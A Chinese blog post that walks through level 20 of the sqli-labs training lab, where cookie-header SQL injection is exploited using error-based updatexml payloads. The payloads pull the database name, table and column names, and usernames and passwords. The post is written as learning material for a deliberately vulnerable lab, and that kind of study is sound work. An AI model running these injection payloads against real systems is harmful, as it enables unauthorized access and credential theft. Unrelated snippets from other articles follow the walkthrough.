sqli-labs关卡20(基于http头部报错盲注)通关思路

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第二十关通关思路
    • 1、判断注入点
    • 2、爆数据库名
    • 3、爆数据库表
    • 4、爆数据库列
    • 5、爆数据库关键信息
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

通过上一关的referer字段的注入,我们更加熟悉了http头部注入。这一关也是http头部注入,只是换地方了

二、靶场第二十关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

发现第二十关的界面啥都没有了,按照之前通关的思路。我们先把测试账号admin登录进去,发现有记录cookie的信息回显到页面。(如图所示)
在这里插入图片描述
从上两关总结的经验得到,这一次应该就是http头部的cookie注入了。我们重新登录admin抓包,果然发现请求包有cookie值。这里我们使用and 1=1 和 and 1=2,发现页面正常,说明不是数字型。我们直接提交1'发现报错,报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘‘admin’’ LIMIT 0,1’ at line 1

在这里插入图片描述
通过报错信息我们可以构造payload,发现就是简单的单引号闭合

uname=admin'#

2、爆数据库名

注入语句为

' and updatexml(1,concat(0x3a,(select database()),0x3a),1)#

在这里插入图片描述

3、爆数据库表

注入语句为

' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#

在这里插入图片描述
得到关键数据库表名users

4、爆数据库列

注入语句为

' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#

在这里插入图片描述

在这里插入图片描述

得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#

在这里插入图片描述

在这里插入图片描述

得到账号密码


总结

这一关和前几关都差不多,只是注入点不一样罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/192063.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring总结】基于配置的方式来写Spring

本篇文章是对这两天所学的内容做一个总结,涵盖我这两天写的所有笔记: 【Spring】 Spring中的IoC(控制反转)【Spring】Spring中的DI(依赖注入)Dependence Import【Spring】bean的基础配置【Spring】bean的实…

gittee启动器

前言 很多小伙伴反馈不是使用gitee,不会寻找好的项目,在拿到一个项目不知道从哪里入手。 鼠鼠我呀就是宠粉,中嘞,老乡。整!!! git的基本指令 在使用gitee的时候呢,我们只需要记住…

MSYS2介绍及工具安装

0 Preface/Foreword 1 MSYS2 官网:MSYS2

os.path.join函数用法

os.path.join()是Python中用于拼接文件路径的函数,它可以将多个字符串拼接成一个路径,并且会根据操作系统的规则自动使用合适的路径分隔符。 注:Linux用的是/分隔符,而Windows才用的是\。 该函数属于os.path模块,因此在…

CronExpression

CronTrigger配置格式: 格式: [秒] [分] [小时] [日] [月] [周] [年]序号 说明 是否必填 允许填写的值 允许的通配符 1 秒 是 0-59 , - * / 2 分 是 0-59 , - * / 3 小时 是 0-23 , - * / 4 日 是 1-31 , - * ? / L W 5 月 是 1-12 or JA…

HTTP 到 HTTPS 再到 HSTS 的转变

近些年,随着域名劫持、信息泄漏等网络安全事件的频繁发生,网站安全也变得越来越重要,也促成了网络传输协议从 HTTP 到 HTTPS 再到 HSTS 的转变。 HTTP HTTP(超文本传输协议) 是一种用于分布式、协作式和超媒体信息系…

LeetCode——字符串(Java)

字符串 简介[简单] 344. 反转字符串[简单] 541. 反转字符串 II[中等] 151. 反转字符串中的单词 简介 记录一下自己刷题的历程以及代码。写题过程中参考了 代码随想录。会附上一些个人的思路,如果有错误,可以在评论区提醒一下。 [简单] 344. 反转字符串…

重生之我是一名程序员 34

哈喽啊大家晚上好! 今天给大家带来的知识是——库函数qsort。首先,给大家介绍一下qsort函数, qsort函数是C标准库中的一种排序函数,用于对数组中的元素进行快速排序。它接受四个参数:待排序数组的基地址,数…

2023-2024华为ICT大赛-计算赛道-广东省省赛初赛-高职组-部分赛题分析【2023.11.18】

2023-2024华为ICT大赛 计算赛道 广东省 省赛 初赛 高职组 部分赛题 分析【2023.11.18】 文章目录 单选题tpcds模式中存在表customer,不能成功删除tpcds模式是( )以下哪个函数将圆转换成矩形( )下列哪个选项表示依赖该D…

TensorRt推理加速框架Python API服务器部署教程以及运行Helloworld程序

一、确认cuda工具包和n卡相关驱动是否安装 在终端中输入以下命令: nvcc -V如果出现以下提示,则已经成功安装 在终端中输入以下命令: nvidia-smi如果出现即为成功,我在这里就不去介绍怎么下载cuda和驱动怎么下载了,…

【Java 进阶篇】深入理解 JQuery 事件绑定:标准方式

在前端开发中,处理用户与页面的交互是至关重要的一部分。JQuery作为一个广泛应用的JavaScript库,为我们提供了简便而强大的事件绑定机制,使得我们能够更加灵活地响应用户的行为。本篇博客将深入解析 JQuery 的标准事件绑定方式,为…

LeetCode704.二分查找及二分法

每日一题:LeetCode704.二分查找 LeetCode704.二分查找知识点:二分法解题代码 LeetCode704.二分查找 问题描述:给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中…